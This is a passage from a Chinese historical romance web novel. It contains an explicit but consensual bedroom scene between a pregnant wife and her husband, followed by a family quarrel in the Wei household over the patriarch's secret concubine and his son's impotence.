思及此,他露出一个笑,“我答应和岳父联手。” 见卫如琢又恢复了往日里的称呼,祝大人满意点头,心里想着这一趟果然没有白来。 “” 祝吟鸾自然不知道卫家和祝家正在狗咬狗,她翻身的时候被热醒了。 挣扎间,不小心蹭开了抱着她的男人的月白中衣,露出他精致冷白的锁骨。 第63章 第63章从前怎么没发现沈景湛这样坏…… 现如今梅雨时节开始收尾,热得越发厉害。 太医叮嘱了祝吟鸾不能贪凉,所以内室只置放了少部分的冰,过了子时,风轮都停了,她被沈景湛抱着,男人身子骨本就温热,又盖着锦被,自然更热得难受。 只是她没有想到,原本在梦中挣扎要脱开的“锦被”居然变成了沈景湛的中衣。 迷迷糊糊转醒,看到男人的锁骨,视线瞬间变得清明。 “……” 即便是没有见到脸,只见肩胛锁骨,也让人感叹他的身形漂亮。 只是……眼下不是欣赏“男色”的时候,更何况她根本做不到面无表情单纯的欣赏沈景湛的“出众”。 祝吟鸾打算悄无声息把他的衣衫给拨弄回去,再与他拉开些许距离,继续睡过去。 却没想到刚碰上男人的衣襟,居然就被他给攥住了手。 沈景湛不知道何时醒了,不知道什么时候开始注视着她,总之他的目光之下萦绕着让人说不清楚道不明白的兴味。 祝吟鸾,“……” 黑暗当中,男人的视线灼热,看久了,她浑身渐渐不自在起来。 祝吟鸾本就很容易羞怯脸红,近来这段时日更是面红耳赤的厉害。 自从上次两人之间算是戳破了窗户纸,分明再没有过任何一次的亲密,可那日后她每一次被沈景湛注视、关怀、拥抱,都会忍不住紧张,下意识躲闪。 总之,比从前不敢看他了。 短暂的对视之后,祝吟鸾想要佯装无事从男人的大掌当中把她的手给.抽.出来。 但没有想到,她慢吞吞.抽.出来的时候,沈景湛 不管她。 她快要彻底.抽.出来之际,沈景湛居然攥着她的指尖,又将她的手给握了回去。 祝吟鸾不得不说话了,“你、你做什么……” 没想到匍一开口,她的声音在磕磕绊绊当中泄露了她的紧张和不自在。 沈景湛反问她做什么? 祝吟鸾促使自己开口时恢复坦荡和沉静,竭力稳住声气,“…我想要帮夫君把衣衫给拉拢好,免得夜里着凉。” 她还为自己找了一个很好的借口。 “原来是这样。”男人意味深长。 祝吟鸾觉得也不算是借口,毕竟事实如此,却没有想到沈景湛几个字就又把氛围给挑得旖旎了。 更重要的是,他一直捏着她的手,粗粝的指腹慢吞吞摩挲着她的指背。 祝吟鸾不是未经人事的少女,自然知道男人意味深长的背后在暗示些什么。 这些时日他一直抱着她歇息,两人之间泾渭分明的界线也随着“袒露”之后烟消云散。 好几次,祝吟鸾都能够感受到男人的意动,虽然是意动,可他却没有对她做些什么,一直隐忍着。 祝吟鸾深呼一口气,想动却又不敢动,只能鼓起勇气率先道了一句,“太医说” “太医说什么?”她说话有所顾虑,所以吞吞吐吐,却没有想到沈景湛接话居然接得这么快。 “太医说前三月胎象不稳,最好还是不要行房事。” “鸾儿以为我要做什么吗?”他都已经攥着她的手不放了,居然还在这里问她以为他要做什么? 她以前怎么没有发现沈景湛居然这么坏? 也不说是坏,就是喜欢故意逗她? 他陪同着她一道看的太医,怎么会不知道太医说什么? “你松开我。”她不想继续跟着他说了。 羞是一个点,更主要的是,她真的觉得热。 沈景湛的身上好热啊。 这样子捏着手,她整个人都快要被沈景湛给烘化了。 “明日我让人换成瓷枕和竹玉的褥子。” 他给她抖了抖锦被,幔帐稍微撩开些许,有晚风送进来,祝吟鸾瞬间觉得凉快了许多。 可是,沈景湛还是没有松开她的手,人也依然抱着她。 他似乎非常喜欢抱着她。 祝吟鸾也是用了几日许久才适应沈景湛抱着她睡的这件事情,可他似乎很快就能够习惯。 他不防备,不紧张么? 是因为两人之间行过房事?或许是吧。 静默无言之间,很快,祝吟鸾担心的事情果然发生了,她的长发披散在前面,原本想要拢一拢,全都弄到身后去,动作之间,拨弄发尾那一会,却碰到了 危险的灼热。 因为在危险的地带,祝吟鸾一瞬间就反应过来了这究竟是什么。 她不吭声,只是抿着唇,眼睫不停地抖动。 沈景湛到底是什么时候? 从前他克制压抑,很少能够这样直观感受到他的意动,最近实在是过于频繁了。 祝吟鸾不清楚是因为什么,可沈景湛却很清楚。 她哪里知道她对他的诱惑力有多大。 整日里温香软玉在怀,亲都只能等着她入睡之后偷偷亲上一亲。 加之,她白日里总算不怎么抗拒他了,开始有些接受他了。 她根本就不清楚,这对他而言,意味着什么。 “鸾儿,我有些难受。”祝吟鸾原本想要装聋作哑,她闭上眼睛已经在酝酿睡意了。 心里想着,只要彻底入睡了,沈景湛怎么样,应该也就 不是说不关她的事情了,就会自己好了吧? 即便太医说了她的胎象安稳不需要吃安胎药,可头三月最是要紧,按照先前跟沈景湛行房时候的“激荡”与触动,祝吟鸾觉得还是太危险了。 主要是他真的太“强大”了,她还记得有几次甚至能够清楚看到沈景湛与她共融时,会在她小腹之上显出的他的“强大”。 他居然能够到达这个地方,这是个什么地方?现如今可是孩子生养的地方。 万一出事,真要是请太医来,把脉得知了不舒坦的缘由,祝吟鸾觉得她都没有脸再去面见沈家的亲长们了。 众人现在可是无比宝贝她的身孕,日日都要过问的。 “你那你怎么办?”偏生他都开口了,祝吟鸾又不能在这个关口之上装瞎装死,前面两者都不能够装,那就只能够装糊涂了。 “我不知道。”向来无所不能的男人居然在这个时候蹭着她的脸,跟她袒露他的虚弱和痛苦。 祝吟鸾身上所有的睡意都没有了,她有些许口干舌燥。 被沈景湛蹭过的地方开始发麻发痒,这个酥酥麻麻的感觉窜到她的心底,她的足趾都忍不住开始蜷了起来,人躲闪得更厉害了。 沈景湛看她整个人窝在怀中,乌发琼鼻,还散发着阵阵幽微的香气,呼吸也渐渐热了起来。 “那要不然你夫君你忍一下。” 他说他一直在忍,还问是不是吓到她了? 男人的声音磁沉温柔,莫名蛊惑着人心,祝吟鸾都觉得难受。 “我们还是不能够胡来的” “我没有想胡来。”沈景湛道。 祝吟鸾听着男人说话,咬唇的同时想着,干脆心下一横,不如让沈景湛不要抱着她睡了? 把距离给拉开,他应该就会好了吧? 可她都还没有说呢。 沈景湛居然先一步松开了她的手,把她温柔放到里侧,他长呼一口气,忍了一会之后,似乎不得缓解,整个人开始坐了起来。 祝吟鸾看着男人宽肩窄腰的背影,幔帐并没有完完全全给撩起来,有一层幔帐垂落,他微微侧过脸。 内室微弱的烛火映照着男人流畅俊美的侧颜,看着人挪不开眼。 即便是不听声音,只是看着他的脸,都能够感受到他的痛苦。 是啊,沈景湛分明是痛苦的,她不能够帮沈景湛解决他眼前的痛苦,袖手旁观已经很不应该了,只是怎么还能够欣赏起来了呢? 她真的太少以这样沉静旁边的状态,看着男人的脸上染就情.欲,看着他受此折磨。 主要是这样子少见,不仅仅是新鲜,也觉得好看。 是的,他微微喘息的声音性感好听,俊美的脸情绪波动着好看。 她的视线没有办法从沈景湛的身上收回来。 祝吟鸾觉得实在太不好了。 沈景湛一定是发觉了她的视线,在她强.迫她自己把视线给挪开的时候,他回头了。 与她挪开的视线撞到了一起。 他微微张着薄唇,脸上带着潮红看着她。 “吵到鸾儿了吗?”在这个关头,他居然还在顾虑她的感受。 祝吟鸾心里的内疚更甚了。 “没、没有。” 他居然这样难受? 听姣惠前些时日跟她讲故事说,她给梨花院的老鸨送过胭脂,见到老鸨调教那些小生,给他们下药,很重的药。 若是抵死不从,就这样让对方强撑着,让他们自爆 沈景湛这样下去,会不会也自自生自灭啊? 男人痛苦的喘息在她的耳畔不停响起,祝吟鸾觉得她也跟着煎熬起来,不仅仅是因为内疚,还因为沈景湛的声音对她而言也有些许微妙。 自然了,便也就牵扯到她的难受。 “你” 祝吟鸾又想起得知她怀孕之后,借着送礼的名义,想要给沈景湛身边塞人的叔叔婶娘们。 说沈景湛这么一个身份尊贵的沈家世子,中书大人,身边可不能够缺人伺候,家里有些许什么好的,想要给沈景湛送来伺候,被沈景湛一句话就给怼了回去。 说什么叔叔婶婶若是不觉得委屈自家挑的人只管送过来,军中又到充.妓的时候了,既然家中人体恤,愿意帮着他分散注意力,他自然是不能够辜负。 当时,家中的人可都不敢说话了。 祝吟鸾还记得当时噤若寒蝉的场面,沈蔻玉都不敢贸贸然插话,是沈老夫人看了祝吟鸾一眼。 她不得不跳出来给叔叔婶婶们转移话茬,说当日挑选的果子好吃,让大家多吃点,圆了圆场面。 这件事情勉强是揭过了,回过头来,谁都不敢再提。 他对她那么好,她也应该对他好一些。 更何况,若是沈景湛出事了,对她没有一点好处。 祝吟鸾捏了捏耳垂,缓解男人磁沉嗓音传入耳朵里的酥麻。 她鼓起勇气,伸手去拽住了他的衣摆。 小猫又被他给勾出来了,在祝吟鸾没有看到的地方,男人微挑眉梢。 他的余光窥见了她的动作,却当做没有看见。 祝吟鸾又更近了一步,她这一次不仅仅好似拉着 他,还叫他,“夫君。” 沈景湛把控好欲擒故纵的度,没有太过分。 他像是方才察觉,“嗯?” “我在这里吵到鸾儿了,我去浴房。”他只是发觉了她,却不懂她的意思,起身就要走。 祝吟鸾整个人都傻了,完全没有想到,沈景湛那么足智多谋的一个人,怎么会不明白她伸手过来究竟是什么意思? 心中虽然有疑虑,但此刻却顾不得那么多。 她根本就来不及深想。 起身拽住了他,“夫君,你、你不要走。” 她拽着他,害怕伤到肚子,整个人也不敢太大的动作,几乎是有些许费劲,整个人才慢吞吞给爬了起来。 整个人是半跪在沈景湛面前的状态,长发披散垂落在身后,看起来很乖。 抛开一切不谈,她根本就不像是一个出嫁许久,又身怀有孕的小妇人,更像是一个未出阁的少女。 沈景湛居高临下看着她的模样,眸底泛着暗流。 祝吟鸾没有发觉,她只是拉着他,让他不要走。 “” 幔帐即便是全都给垂落下来了,祝吟鸾也还是好担心里面的光景会透到外。 她此刻还是半跪在床榻之前,正在帮着沈景湛纾解他的痛苦。 可是她也不知道沈景湛究竟是怎么了,居然居然很久都难以缓和。 她的手酸得好厉害,他都还没有好。 后面她实在是不太擅长,又有些许累,就停了一下。 两人之间的身量差距,就这么吻了上去。 然后不知道怎么就发展成了那样 可即便是发展成了那样,他也还是没有好。 她的嘴角在他的冲撞之下,居然破了一个口子。 此时此刻的祝吟鸾,不仅仅是手疼,就连嘴巴也好疼。 她被他欺负得可怜兮兮的,眼角挂着晶莹剔透的泪珠,要掉不掉。 沈景湛觉得他真是越克制越疯魔。 真的很想要捏着她的后颈,猛然欺负她,可又怕吓到她。 这伪装的皮装久了,他整个人都快要被圈住了。 “对不住,鸾儿。”他的指腹摩挲着她破掉的嘴角。 真的很想用力,但是不行。 祝吟鸾摇头,实在是她太少这样帮他,帮他这么做,所以 所以还是应付不了。 可这样又该怎么办呢? 祝吟鸾看着眼前男人都快要戳到她眼前的强势,上面还有她留下的痕迹。 他摩挲她唇角的指腹实在是太炙热了。 就算是没有亲眼所见,只是听声音,都知道沈景湛已经到了隐忍的边界。 可她不知道应该怎么办,难不成真的要那么做吗? “怎么办?”她问沈景湛这句话的时候,整个人已经做好了,真的要那么做的准备。 她相信沈景湛,他一定会克制温柔,毕竟她只是累了稍微停下来,他都没有继续为难她了。 若是真的到那一步,应当也会克制力气的。 可是沈景湛很久不说话。 祝吟鸾抬头,想要直接跟他说,早点开始的话也能够意味着早点结束。 抬头的一瞬间,她这才留意到他的目光居然放到了她的雪软之上。 这怎么能成? 这样也成的吗? 祝吟鸾没有想到,居然还可以这样? 她的下巴会时不时被沈景湛给连带着欺负到。 所以,祝吟鸾不得不仰着小脸,才能够勉强避让,不至于让沈景湛一直欺负到她。 可就算是避开让了,也还是会碰到。 重要的是,异样的感受传来,她听着声响,整个人的脸都快要红得滴血了。 她的手快要捧不住了,男人的大掌接替了她的工作。 再然后越来越速度,几乎到了风驰电掣。 伴随着他磁沉性感的气息起伏,就算是沈景湛撤离得很快,祝吟鸾的下巴,肩膀,都免不了被弄脏了。 她整个人呆愣着,闻着沈景湛身上清冽的味道,整个人微张着小嘴喘气。 “” 沈景湛虽然还是难受,但比方才要好多了。 他也感受到了祝吟鸾的变化。 投之以桃报之以李,他俯身亲着下去。 祝吟鸾躺在柔软的被褥当中,整个人都觉得无比的难耐。 在沈景湛吻入的时候,她说身上脏,让沈景湛不要碰。 可话刚说完,又想到,这似乎也是沈景湛自己的 没有他嫌弃他自己的道理吧。 很快,祝吟鸾就顾不上这么多了。 小半炷香之后,祝吟鸾蜷缩起来的腿脚,绷到释放了。 她的脑中一片白光闪过,整个人大口喘气,感受着春水的蔓延。 泪珠落下的时候,看到了,虽然没有那样做到最亲密。 可她和沈景湛却又碰到了一处。 祝吟鸾真是一句话都说不出来了。 顾及着她的面皮子很薄,沈景湛没有往外叫小丫鬟,又是他自己收拾,抱着祝吟鸾去沐浴清洗,还给她擦身子。 躺到干净的被褥当中,祝吟鸾想到她之前来癸水弄脏了床榻,也是沈景湛收拾的。 他真的很好。 经过这么一遭,祝吟鸾实在是太累,就这么睡了过去。 沈景湛抱着她,轻柔的吻落到她熟睡的眉眼之上。 就算是这边隐瞒得很好,消息也还是传到沈老太太的耳朵里。 沈老太太已经有些“听怪不怪”了。 之前沈景湛能够说出来要把送到他房里伺候的人放到军里去,必然是因为喜爱祝吟鸾了。 以前沈老太太还有所怀疑,眼下倒是彻底相信了。 祝吟鸾有了身子,沈老太太也彻底放了心思,没有叫人去管这些事情,眼下也的确不宜往沈景湛怀中安排人,毕竟两人成亲也没多久。 眼下,沈家要紧的是沈蔻玉的亲事。 经过这些时日的不断劝阻,沈蔻玉的确是小细胳膊拧不过大腿,不得不听从家里的安排,选了一个人要嫁了。 只是她选的这个人不怎么好,是个病秧子。 人虽然身子骨不好,可跟沈家是世代的交情,也算是知根知底,门当户对了。 重要的是,赵家就这么一个独苗,对方答允,若是沈蔻玉嫁过去,日后不会纳妾收小房,要是赵家的生不出来,那就从旁支过继一个放在她的膝下养着。 沈夫人对这门婚事不满意,架不住沈蔻玉亲自选了,还说非对方不嫁,便只能让她嫁过去。 沈蔻玉究竟是打的什么如意算盘,沈夫人和沈侯爷心里门清,但女儿总算是低头要嫁人了,便也只能顺着她。 双方各让一步,周全一个齐美。 沈家嫁女的消息紧跟着祝吟鸾怀孕的事后面传出来,京城这些时日都在议论纷纷。 除此之外,还有一事,获罪的卫家老大人居然回京了。 但也不知道是来认罪,还是来给家里儿子求情。 更有小道消息传出,说这卫家老大人从偏远之地回来的时候,居然是拖家带口的! 这这这这是在京城之外的地方又偷偷娶妻生子了?真真是老当益壮。 但卫家虽然获罪被查,但到底也是官宦人家,众人不敢说的太过分,只能背地里嚼舌根,眼睛一直盯着卫家,就为了要个一手的热闹。 庞氏怎么都没有想到,她都快要年近半百了,居然还能够遇到这样的场面。 原来卫籍这么多年在外地待得越来越老实,让他偷偷回京过年他不敢,说去看他,他也不让,都是因为他在外县有了妻儿!这儿子都这么大了?! 何止是庞氏震惊,卫如琢和卫清丝,以及卫明烟无人不惊到难以接受。 卫明烟呆愣坐在厅上,卫清丝已经哭了起来,庞氏坐在上首指着卫籍骂,她细数着这么多年她为操持整个卫家付出的艰辛劳苦,一个人在京城有多么的不容易。 卫籍嘴上说体谅她的好,对不起她,却执意要迎这个女人进门,因为对方已经为他生儿育女了。 庞氏尖叫,“你不仅和这个女人有了儿子,还有女儿?!” “你跟我说与这个女人一次是阴差阳错,被人算计,有个儿子就算了,怎么还有个女儿?!” 庞氏大声质问。 卫家老大人觉得丢脸,尤其是当着一干儿子女儿料理房中事。 他软话也说了,此刻直接摆出一家之主的威严道,“事已至此,多说无益!” “真娘为我卫家开枝散叶,我是一定要迎进门的,她不跟你争大房,只做妾室,你做主母的,宽宏大量些吧!” 庞氏气得站不住,直愣愣往后倒去。 卫如琢在旁边冷眼看着,诡异的觉得在哪见过这副画面。 是在祝家见过。 不只是祝家,还有卫家,他自己的家。 所以,那时候祝吟鸾就是这样心若刀绞的感受吗? 第64章 第64章证明祝吟鸾心里有他。 阴差阳错之下,他居然跟祝吟鸾感同身受了。 := 此时此刻的他觉得无比厌倦,看着眼前纷乱撕扯,不停吼叫到一处的家中亲眷,没有一点想要上去劝解的心思。 他在旁边静静坐着,忽而想到很久之前,祝家人带着祝沉檀上门商榷婚事。 那时候,祝家夫人和祝家大人所说的话其实跟他父亲今日所说的差不多。 祝吟鸾久久沉默坐在身侧,有几次旁边人跟她说话,她像是没有听见。 那时候,他嫌弃祝吟鸾的木讷,一方面又不免因为她的“斗争”而雀跃,因为这样可以证明祝吟鸾的心里有他。 现在想来,真是觉得可笑。 卫如琢忍不住自嘲起来。 风水轮流转,如今竟也转到卫家来了。 “” 庞氏受不了太大的刺激,今儿真是大喜大落,万分欢喜她卫家主事人总算在这个关口回京城,卫家有顶梁柱了,眼前的危机说不定就能够迎困而解。 却没有想到,他居然带着一个小贱人和一个野种回来,不是两个野种,还有一个在外边呢。 庞氏强撑着身子骨不叫她自己晕过去,连连吞了好几颗保心丹,这才吊着气。 卫明烟和卫清丝就在她的左右两侧哄着,两人都忍不住掉了眼泪,但对方是亲生父亲,即便是恼怒也不能多说半个字。 庞氏胡搅蛮缠,卫籍早就厌倦了,但庞氏说的也有道理,这么多年她一直操持着家中,就算是没有功劳也有苦劳,所以无论如何都不能够在这个紧要关头叫庞氏出事。 他挥手叫人去请郎中,务必要快,但也要请得隐蔽一些,绝对不能够叫外面的人知道了。 卫家如今可经受不起什么太大的风浪和波折了。 卫籍要安抚庞氏的情绪,说话的语调自然也软了一些,“我知道你委屈,这件事情到底是我做得不好,总该提前知会你一声,但也是怕你知道了难受,便也就没说。” 庞氏瘫坐在椅子上,连连冷笑看着卫籍。 什么叫做没有提前知会她一声?现在是知道纸包不住火,所以才说了。 这些年亏她还为他四处奔走,担心他在外吃苦受罪,被人打压。 完全没有想到,他哪里有一丝的颓样,在外面是老当益壮,生龙活虎啊。 庞氏咽不下这口气,“卫籍,若你真觉得对不起我,就把这个小.贱.人和小野种给我赶出去!”她的手指着躲在卫籍身后的女子,恨不得扑上去撕了对方的皮。 “什么叫小.贱.人小野种!”卫籍砰地放下茶盏。 “这是我的种,我们卫家的血脉,你好歹也是士族小姐,往日里又自诩贵眷夫人,怎么能说出这样不三不四的话来,我看你,连真娘这样苦楚出身的都比不上。” 听到血脉两个字,卫如琢的心中不免翻生出恨来。 他原以为,家中的血脉到他这里就断了,内疚包裹着心里让他不敢将这件事情给说出来,却没有想到父亲居然在外面有私生子。 有这个人在,卫家的血脉的确是可以延续,但他看着眼前的弟弟,怎么就那么想要弄死他? 在卫如琢看过去的时候,没有留意到他的父亲扫了他一眼,仿佛知道了些什么。 庞氏又被卫籍这句话气得险些厥过去,卫清丝给她抚摸着心口,卫明烟忍不住替她出头,“父亲!母亲如今的身子骨已经很差了,您就少说两句吧!” 卫明烟心直口快,一向是卫籍喜欢的女儿,所以他也不生气,顺着她的话便收了声音。 卫家这顿迎接宴是庞氏亲手准备的,上至采买,下至动手熬羹汤,却没有想到,还没动一筷子,最后居然闹成了这个样子。 郎中到的时候,卫明烟已经让人把家里的饭菜给收拾好了,现如今谁都没胃口用膳,但是她的老父亲颇为眷恋这两母女,自己都还顾不上吃,让身边人给收拾屋子还带下去用膳。 就为这事,又跟庞氏闹了一场,因为庞氏不允许,但卫家做主的人总归是主君,下人们谁都不敢说话,最后也还是去做了。 静默了一会,庞氏还是不同意这两人进门,说若是要进门,就要和离。 卫籍训斥她不嫌丢人,庞氏破罐子破摔愣是不让步。 可让庞氏更没有想到的是,卫籍竟然提起祝吟鸾来,“当初你逼着祝氏儿媳让位平妻,如今我不过就是收个妾室,你怎么就不能够宽宏大量了?” 庞氏眼睛瞪得老大,她的脸色不好,看起来有几分骇人。 “你怎么还有脸跟我提祝家的人,当初”庞氏说话说到一半,忽而想起来这件事情。 当初她给远在边县的卫籍写信说家里的事情,还怕他不同意,毕竟他挺满意祝吟鸾这个儿媳妇的。 可那时候也是他提出来的平妻,还写了不少话让庞氏去劝祝吟鸾,特别是开枝散叶,说得十分紧要。 所以,敢情他的那些说法都是在这里等着她呢! 庞氏越是回想,整个人越是气得眼睛发白。 卫清丝真是急了,害怕庞氏死了,卫家的后宅被人侵占,连忙凑到庞氏的耳朵边沿提醒, “母亲!您可千万要撑住啊,若是您出事了,那父亲父亲他可不是纳妾,而是娶续弦了。” 闻言,庞氏的确是连忙清醒冷静压着心气下来,她看向旁边沉默寡言,至今不为她说一句话,甚至不搀扶一下她的卫如琢叫喊。 “琢哥儿,你父亲这件事情你觉得应该怎么办?你作为家里主事的哥儿,你也觉得你父亲应该把人给带进来吗?你说句话啊?!”庞氏都快要气死了。 卫籍看向他这个出色的嫡子,若是放在之前,卫籍对他是有些忌惮的,毕竟卫如琢爬得实在太快了,官位还压在他的上面,他又很听庞氏的话。 也正因为卫如琢在这里,所以他这么多年都不敢带着人回来,就是害怕卫如琢发生什么端倪。 可现如今他这个长子获罪,他的身子骨又 已然是不成气候了,卫籍自然也就摆出父亲的威严弹压了。 “琢哥儿,你母亲说得对,你是家里主事的哥儿,这件事情你说怎么办?你也顺从着你母亲的意思,跟为父对着干,不打算让你姨娘和弟弟进门?” 听到姨娘还有弟弟两个字,卫如琢忍不住在心里嗤笑,他觉得恶心。 他还在走神还在想,那一会祝吟鸾听到他迎娶她的长姐,有没有在心里嗤笑,有没有觉得恶心?反正他现在觉得特别恶心,整个人都想吐。 他和父亲生得相似,也是差不多的情形,想必她是恶心的吧。 “琢哥儿!你说句话!”庞氏跟卫籍吵得不快,嚷着让卫如琢站起来帮她撑腰。 就差直接说出她的心声,让卫如琢把这娘俩给赶出去了。 “父亲不是已经有了定夺,何必又来问儿子。”他倒是想要开口,但此刻官司缠身,手上的权势摇摇欲坠,就算是想要开口,哪里还有什么话语权。 对上自家父亲的眼睛,卫如琢便清楚此事更改不了。 既然更改不了,也没什么好说的了,只能先暂时按下不表,忍一时之气日后再有计较。 庞氏却不情愿,她骂不了卫籍,便只能骂卫如琢,“你老娘我被人欺压到这等子头上,你居然忍气吞声,你到底是不是我生的?!” “莫不是你今儿见了那个贱人,也想要她进门,想要叫她做你的母亲了!” 庞氏说完这句话之后,便又开始急速咳嗽了,咳得相当厉害,脸色涨红成为猪肝色,好似有东西堵在喉管。 卫明烟连忙给卫如琢递眼神,让他好歹说句话,不要这样沉默。 卫如琢夹在中间,他还是没有 说出庞氏想要听的话,倒是走过来搀扶庞氏,说叫她别激动,郎中来了才走,若是她不听劝告,一会又要去请郎中了。 庞氏心气翻涌,她哽咽着,“你母亲我如今活着还有什么意思?你父亲带这么多人来抢咱们的位置,你怎么连屁都不放一个!” 她实在是生气,往日里舍不得对卫如琢说一句重话,如今却也忍不住了。 卫如琢作为她的儿子不帮着她出头,那小.贱.人的小.野.种,可是一口一个父亲十分会装模作样。 眼看着庞氏非要他去说了,卫如琢不得不开口,“这件事情若是父亲非要问儿子的意思,儿子自然是顺从母亲。” “这么说,你也不希望你姨娘和弟弟进门了?”卫籍冷冷看着卫如琢。 父子两人的目光在空中交汇。 卫如琢本来不想说的,也就是走走过场,但没有想到了卫籍居然如此对他施压。 近来,他四处碰壁,已经是天天看人脸色。 没想到他的父亲却也要这般下他的面子,没有一丝宽慰。 他也是在向他表达不满,觉得他给卫家丢人了?那他这些年给卫家挣回来的荣光,他怎么不提?怎么也不顾及? 这件事情明明可以缓办,先松松口就是了,为何非要在这个关头逼他让步,逼迫庞氏点头? 卫如琢很快就反应过来,卫籍在向他表达不满,也是要贬损他这位嫡长子,贬损庞氏。 对方到底是生父,他阔别近十年方才回京城,想要在这个关口树立家中威严无可厚非,忍一忍就是了。 但若是还要踩着他这个儿子和他母亲的脸,给别的女人和私生子长面子,卫如琢当然是不允许的。 当下就跟卫籍“正色”交锋起来。 “儿子的意思已经表达得足够明确了,父亲为何一定要再三逼问?”卫如琢不让步了。 庞氏听到他这么说,心里的气勉强是顺从了一些。 “看来,你今日是要顶着你的母亲跟为父作对了?”卫籍问。 “是父亲逼迫我们母子太甚。”卫如琢接着控诉道,“父亲在外乡如今是有新人在侧,妻儿姑娘一左一右了,但可曾顾及旧人半分?当年母亲也为你做了很多的事情,她也曾为您生儿育女,操持着偌大的卫家在京城伫立多年。” “为何要一再相互逼迫?”卫如琢掷地有声道。 面对卫如琢的质问,卫籍不仅没有生气,他反而笑,笑里有几分风轻云淡的轻视, “怎么算逼迫?” “又不是逼着你母亲做平妻,真娘不过就是进门做个妾而已,她从来就没有想过跟你母亲争些什么,旁人家都能够三妻四妾,到我们卫家就不成了?” “你做小辈的尊卑不分,以下犯上,管天管地还要管到你老子头上来?也难怪你做不好官,被人弹劾得左右不是,简直丢尽我们卫家的脸面。” 后面这几句话简直刺到了卫如琢的心口上,他的脸色瞬间变得无比铁青。 刚想要还嘴,却没有想到,卫籍的话茬没有结束,他不过就是起了一个头而已。 “说到纳妾,当初在处理祝氏的事情,你做的难道不比为父过分?” “什么新人旧人,你以为你之前的左右逢源就对得起当初的祝氏了?” 他的父亲提到了祝吟鸾。 这个名字就像是他心里不知何时生长的,一根无形的刺,他想要拔掉,却摸不到它。 他一瞬间哑然下来。 “为父就算是怎么做,也不会真的让你母亲做平妻,还说你老子不顾念旧人半分,不想着你母亲这么多年为家里做了许多的事情,你怎么也有脸提?” “昔年你可有关心过卫家后宅?咱们卫家家底本来就不厚,若不是祝氏嫁进来,一力操持着,就凭借你母亲的手腕,怎么可能会有你的鼎盛?” “你也别跟我提什么是为了借着祝家的势才娶祝家长女过门,那祝家幺女就不是祝家人了?” “难不成你不娶祝家长女,祝大人就不会帮你了?到底是旧情难忘,还是为了前程仕途找的借口,你自己心里最清楚。” 卫籍当着众人面狠狠训斥了卫如琢一通。 直叫卫如琢说不出话来、 庞氏勉强顺下来的气又起来了,她站起来,两只手抓着拐杖,“卫籍!你帮小.贱.人和小.野.种开脱就算了,怎么还有脸帮着祝吟鸾那个攀高枝的狐狸精说你亲生儿子的不是?” “咱们卫家都是被她给害了!你如今还要去给她卖好是不是?你——” 庞氏的话,卫籍实在是听不下去了,他一拍桌子,“够了!” 这么多年他实在是受够庞氏的嘴脸和唯利是图的口吻了。 本以为,阔别多年,她能够有所改善,没有想到竟然还是这样。 既然如此,还有什么好听的。 “你别跟我扯那些,祝氏女到底好不好,都是处过一家子的人,谁没数?琢哥进入仕途,几乎掏空了家里为数不多的银钱积蓄,如果没有祝家女的嫁妆,没有她苦心经营,咱们卫家也不可能周转过来,既没有外人在,何必还要装样子粉饰太平。” 这些事情,卫籍本来不想说,都是家丑。 但庞氏非要跟他理论,他不得不开口,想当初他在外困苦,祝吟鸾这个儿媳妇,可是时常让管事的送银子,从来没有过一丝的抱怨。 当初卫如琢纳妾的事情,他也就是想要敲打敲打庞氏,可谁知道庞氏看不出来,就那么照办了,人家有骨气,自请和离,如今觅得良婿,也是她的造化,何必又去攀扯。 “更难听的话,我还没有说出来。”卫籍冷呵一声。 “我是一定要迎真娘进门做妾,此事不可更改。” “既然父亲不顾念父子情分,或许将来也不要怪儿子不认您了。” 卫如琢咬紧了牙,已经算是用父子关系威胁了。 旁边的卫明烟和卫清丝听到这句话实在是吓惨了,连忙给卫如琢挤眉弄眼,让他快快收回,不要胡说。 庞氏也吓了一跳,虽然她气火攻心,想要卫如琢去跟卫籍闹,帮她出头撑腰,但不想要闹到两人闹到父子反目啊。 这一刻,庞氏开始恐慌起来,若是真的到反目的地步,卫如琢的事情,卫籍会不会帮?要不然就为了儿子忍了下来,庞氏已经在心里斟酌让步,还没有酝酿好开口。 卫籍看着卫如琢许久,他挥挥手,身边人清理了下人,只剩下几人。 他方才开口,“当着你母亲和你两个妹妹的面,你老实说,你是不是不举,再也不能生育了?” 此话一出,原本剑拔弩张的卫家正厅陷入一片死寂当中。 卫如琢也明显惊愕,他完全没想到卫籍居然知道了这件事情,甚至还当着众人的面给说出来了? 究竟是怎么知道的? 庞氏最先反应过来,“你你咒我儿子是什么意思?!” “卫籍,琢哥儿也是你的儿子,如今有了私生子,就要打压嫡子了吗?”庞氏气得扑上去,手里的拐杖都不要了,得亏卫明烟和卫清丝把她给拽住。 “你只说是不是?”卫籍全然不管庞氏还在问。 这一刻,卫如琢开始意识到不对,他甚至开始怀疑,卫籍既然知道了这件事情,那有没有可能他还知道了些什么? 卫如琢还是不说话,庞氏看向他。 触及卫如琢脸色的那一刻,想到前些时日传来的祝吟鸾身怀有孕的消息。 庞氏隐隐约约也开始相信了。 祝吟鸾嫁入卫家几年都没有身孕,看了很多郎中,甚至还瞧了太医,都说她身子骨没有问题,原来竟然是她的儿子有问题吗? 是啊,若是祝吟鸾的身子骨有问题。 那她怎么可能会嫁入沈家没有多久便身怀有孕了? 思及此,庞氏再也接受不了,卫如琢是她这辈子的指望啊。 指望没了,又跟夫郎离了心 庞氏保心丹 吃多了,激动之下气血逆转,喷.吐了好几口血,整个人直挺挺瞪着眼倒了下去。 “母亲!”刺耳的声音几乎要掀破卫家顶。 庞氏中风瘫痪,再也不能下床榻的消息是在几日后传遍京城,传到祝吟鸾耳朵里的。 彼时,她正在跟施家姐妹们,欢欢喜喜有说有笑帮着沈蔻玉筹备嫁妆。 当时她还觉得不可置信,“真、真的吗?” “真的!”施从微肯定。 她还凑到祝吟鸾耳边说了,京城纷传卫如琢不举,不能孕育后嗣的事情。 “不不举?”祝吟鸾大惊失色,手上的动作也顿停住了。 卫如琢身子骨不行的消息居然就这么流出去了?庞氏是因为这件事情中风瘫痪的吗? 到底是怎么流出去的啊? 难不成 是,她想起来了,卫家的人似乎都不知道卫如琢不能够让人孕育后嗣。 可就算是后面知道了,也不可能让消息流传出去。 这消息怎么就出去了?祝吟鸾想不明白。 她觉得奇怪,也觉得有些许说不上来的蹊跷。 “是啊。”施从苑递给她一个装着夜明珠的镂空小球。 “鸾儿妹妹,你这些年的冤屈可算是洗清楚了,京城人都在他的不是呢,还说卫家人恶心,卫家的门第算是彻底臭了。” 祝吟鸾还是觉得不对,她听着的时候,手上的动作不自觉慢了下来。 